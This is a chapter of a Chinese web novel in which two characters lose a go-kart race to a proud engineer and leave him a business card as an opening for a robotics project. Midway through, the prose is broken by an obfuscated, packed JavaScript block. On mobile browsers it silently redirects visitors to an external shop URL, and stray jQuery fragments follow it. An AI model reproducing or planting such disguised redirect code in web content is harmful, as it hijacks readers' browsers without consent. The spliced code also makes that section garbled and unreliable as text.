46. 赛车

作品:《重回老婆结婚前

    维修区的空气仿佛凝滞了。只有远处偶尔传来的工具敲击声,衬托着此处的寂静。


    丁一昂夹着头盔的手臂完全放松下来,他第一次真正意义上地、毫无保留地审视着程意。


    他嘴角那丝自嘲的弧度加深了,随即化为一个近乎赞叹的摇头。


    “有点意思。”他低声说,然后上下打量了一下周任尔和程意,把音量提高了几分,“你们玩过卡丁车吗?”


    周任尔微微皱眉:“玩过几次。”程意则轻轻摇了摇头。


    “哦。”丁一昂点点头,刚才对程意的那点兴趣似乎又消失了。


    “那这样吧,来都来了。光说没意思,一起跑几圈?赢了我,我就听听你们的项目。输了,或者太慢……”


    他耸耸肩,其中的意思不言而喻。


    这是赤裸裸的、毫不掩饰的轻视。他根本不想跟他们废话,想直接用自己最擅长的方式设置门槛,企图让他们知难而退。


    周任尔眼神沉静下来。“好。”。


    见周任尔答应的这么干脆,程意也跟着点了点头,她用余光看着丁一昂身旁的那辆卡丁车,心想:没吃过猪肉,还没见过猪跑啊!这看起来跟玩具车似的,应该难不倒哪去!


    她有驾照,只是没机会经常开车,她的工作也不需要专门买个车来代步,更何况养车也是一笔不小的花费。


    程意默默给自己加油鼓气,没什么好怕的,就一个玩具车而已,殊不知自己完全低估了这辆“玩具车”的威力。


    丁一昂似乎也有点意外他们的干脆,笑了笑,对旁边的工作人员打了个响指:“给他们找两套合身的衣服和头盔。用B组的那几台车。”


    他特意强调是B组,性能显然比他的这辆台要差一截。


    换好衣服的程意正和手里的头盔“作斗争”,扣带绕来绕去怎么也解不开。


    忽然,眼前光线一暗,一双温暖的大手覆上了她的手背,轻轻接过了那头盔。


    “有驾照吗?”周任尔的声音带着笑意,从她头顶传来。


    程意依旧低着头,耳尖却微微发热:“有呀。”


    “安全第一,知道吗?”他一边说着,一边轻柔地帮她调整着头盔的位置,指尖不经意间擦过程意的耳廓。


    “知道知道,”程意忍不住笑起来,“我可珍惜我这条小命啦。”


    周任尔仔细地帮她系好扣带,低头看着她被头盔包裹着的小脸,忽然轻笑出声:“刚才那些技术名词,其实你只会前半部分吧?”


    程意从头盔里抬起眼睛,对上他含笑的视线,眨了眨眼:“被你看出来啦?我还以为我的演技很好呢。”


    “嗯…是很好,”周任尔的声音里带着磁性的笑意,指尖在她护目镜的边缘轻轻一叩。


    只听“咔哒”一声轻响,那透明的罩子便应声落了下来,瞬间将外界所有的喧嚣都隔绝在外。


    他微微俯身,透过她烟熏色的护目镜,直视着她眼睛的轮廓,低声笑道:“但很可惜,我技高一筹。”


    这句话程意根本没听到,只看到他嘴唇一张一合的在说些什么。


    几分钟后,三人已在发车区准备就绪。引擎的低吼声如野兽蛰伏,空气中弥漫着橡胶与汽油的味道。


    丁一昂透过面罩朝两人打了个“跟上”的手势,仿佛早已胜券在握。


    绿灯骤然亮起!


    他的蓝色跑车如箭离弦,刚起步就甩开了半个车身。周任尔紧随其后,程意则被远远地抛在了最后。


    他手忙脚乱地换挡,有些欲哭无泪,“这方向盘是水泥做的吗?为什么这么重啊!”


    而前方,却是风驰电掣的对决。丁一昂游刃有余地控制着距离,既不让周任尔追上,又始终给他一种还有希望的错觉。


    每个过弯都精准得像计算过一样,车身稳得令人窒息。


    周任尔全力追赶,他把车开到了极限,不断逼近前车的尾灯,差距正在以肉眼可见的速度缩小。


    程意咬紧牙关,在一个组合弯道处,看着前两人行云流水的过弯,内心哀嚎:“为什么他们过弯像是在滑冰,而我过弯像是驴在推磨?!”


    她试图模仿前面两人的流畅走线,却在出弯时油门踩得稍重了些,车辆瞬间侧滑!


    “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊,啊啊啊,啊啊啊啊啊啊啊要死要死!”


    她慌忙反打方向,却因经验不足导致矫正过度。车尾猛地一甩,失控地冲向赛道边缘……


    接着便是“砰”的一声闷响,她毫无意外地撞上了轮胎墙。


    周任尔从后视镜中目睹一切,只觉得心脏猛地一缩,仿佛被一只无形的手狠狠攥住。那声闷响透过引擎的轰鸣直刺耳膜,让他呼吸都为之一滞。


    “该死!”


    脑海中瞬间闪过最坏的画面,但他强迫自己冷静下来。


    他毫不犹豫松开油门,右脚果断移向刹车。手腕猛打方向,车身划出一道急促的轨迹,精准地靠向路肩。


    轮胎摩擦路面的噪音还未完全消失,他就已经解开了安全带卡扣。车还未完全停稳,他便一把扯下头盔扔在座位上,推开车门,几乎是跳着的出去的。


    如果程意真的出了什么事,他一辈子都不会原谅自己。


    他的脚步又快又急,冲向那辆撞在轮胎墙上的车时,视线里仿佛只能看到那个狭窄的驾驶舱。


    终于……他拉开了车门,俯身急切地检查她的状况,“程意!你怎么样?”


    程意惊魂未定,小声嘟囔:“果然装逼会遭雷劈……”


    但在看到周任尔焦急的表情后,她还是勉强挤出笑容:“没、没事……我戴着头盔呢,很安全的!”


    此时,原本已拉开一段距离的丁一昂也从后视镜中看到事故。他减速、调头,引擎低沉地轰鸣着返回事故现场。


    停下车,摘下头盔,脸上那玩世不恭的表情稍稍收敛。倚在车门边,沉默地看着周任尔仔细确认程意是否受伤,眼神微微一动。


    直到周任尔抬起头来,坦然开口:“我们输了。”


    丁一昂没有马上回答。


    他看了看程意惊魂未定却还在强装镇定的样子,又看向周任尔还带着焦急神情的眼睛,最终只淡淡说了一句。


    “那……慢走不送。”


    程意一听丁一昂那句“慢走不送”,顿时慌了,手忙脚乱地解开安全带,几乎是跌跌撞撞地爬出卡丁车,摘下头盔,急切地朝丁一昂喊道:“等等!丁先生!”


    “刚才不算!是我太菜了,拖了后腿!再给我们一次机会!或者……或者让我们周总单独跟你比一次!”


    她的脸颊因为急切而微微泛红,眼神里满是恳切。


    正事还没开始谈,怎么能就这样因为自己的失误而被判出局?绝对不行!


    然而,周任尔却伸手轻轻按住了她的肩膀,阻止她继续上前。


    “不用了。”


    “可是……”程意本想继续争辩,但在看到周任尔深邃而沉稳的目光后,想说的话就莫名的卡在了喉咙里。他那份突如其来的平静,奇异地抚平了她内心的焦躁。


    周任尔转向丁一昂,脸上已经恢复了之前的从容,甚至带着一丝淡淡的、了然的微笑,仿佛刚才输掉比赛的人并不是他。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583024|181664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “丁先生……”他的声音清晰而沉稳,听不出丝毫挫败感,“如果您对机器人的未来确实没有兴趣,我们不会勉强。”


    他一边说着,一边从赛车服的内侧口袋里取出一个名片夹,抽出一张质感厚重的名片。暗银色的底纹上,启元智能的三角形徽标微微反光,边缘镶嵌着极细的红色线条,在维修区的灯光下泛着冷冽的光泽。


    “这是我的联系方式。”


    “您是个出色的车手,更是个难得的工程师。这个项目的大门,我们始终为您敞开。如果您哪天改变主意了,随时可以联系我。”


    丁一昂垂眼瞥了一下那张名片,并没有立刻伸手去接。


    维修区的灯光在他脸上投下些许阴影,让人看不清他具体的表情是什么样的。


    周围的空气再次安静下来。


    几秒钟的沉默仿佛被拉得很长。


    最终,丁一昂的嘴角似乎几不可查地动了一下。


    他抬起手,用两根手指随意地夹过了那张名片,看也没看就塞进了自己赛车服的裤袋里。


    “行!”


    他的语气依旧淡淡的,听不出情绪,仿佛只是接过去一张无关紧要的传单。然后重新戴上了头盔,遮住了所有可能泄露的情绪,只留下一个模糊的面罩影像。


    他没再多说什么,转身拉开车门,重新坐进了那辆蓝色的卡丁车。


    引擎再次发出低吼,他没有再看周任尔和程意一眼,车子利落地调头,沿着来路驶离,很快消失在赛道尽头,只留下轮胎和路面摩擦后淡淡的橡胶气味。


    程意看着那消失的车影,又看看身旁镇定自若的周任尔,张了张嘴,最终还是泄气地小声说:“……就这么让他走了?”


    周任尔转回身,看着程意有些沮丧又带着点愧疚的小脸,忽然轻笑了一下。


    他伸手,习惯性地想帮她理一下刚才因为慌乱而弄乱的头发,意识到她还戴着头盔,便转而轻轻敲了敲她的头盔顶,发出“叩”的一声轻响。


    他眼里闪着一种程意看不太懂的光,像是洞察了什么,又像是完成了某种预期,程意看着他的目光转向丁一昂离开的方向,缓缓说道:“丁一昂这样的人,骄傲,自负,只相信自己验证过的真理。”


    “他用赛车设置门槛,不是为了羞辱我们,而是用一种他最熟悉、最绝对的方式,来快速筛选掉他认为不够格的合作对象。”


    “如果我们刚才苦苦哀求,或者愤然离去,都恰恰证明了我们不符合他的标准。”


    “那你……”程意似乎有点明白了。


    “认输,但不对项目本身的价值认输。离开,是给他留下一个开放且体面的入口。”


    周任尔解释道,眼神中透出商人的锐利和耐心,“他收下了名片,这就够了。对于他来说,这已经是一种罕见的让步和可能性的默许。”


    “或许……他需要时间自己消化和判断,而不是被我们说服。”


    听周任尔这么说,程意心里的石头莫名落了地,她好像也有点明白周任尔的策略了。


    这种策略可以叫做什么?她一时想不出准确的词,只觉得很高明。


    看着周任尔侧脸上那抹商人的锐利与从容悄然褪去,变回她依稀熟悉的轮廓。


    她几乎无法将那时的他与现在这个深谙人性、懂得迂回、甚至愿意主动“认输”来换取更大战略空间的周任尔联系起。


    她心中不禁升起一丝复杂的感叹,那是对时光力量的敬畏,也是对他惊人成长的讶异与钦佩。


    “我明白了。是种子策略,对吗?留下名片,就是种下一颗可能性的种子。”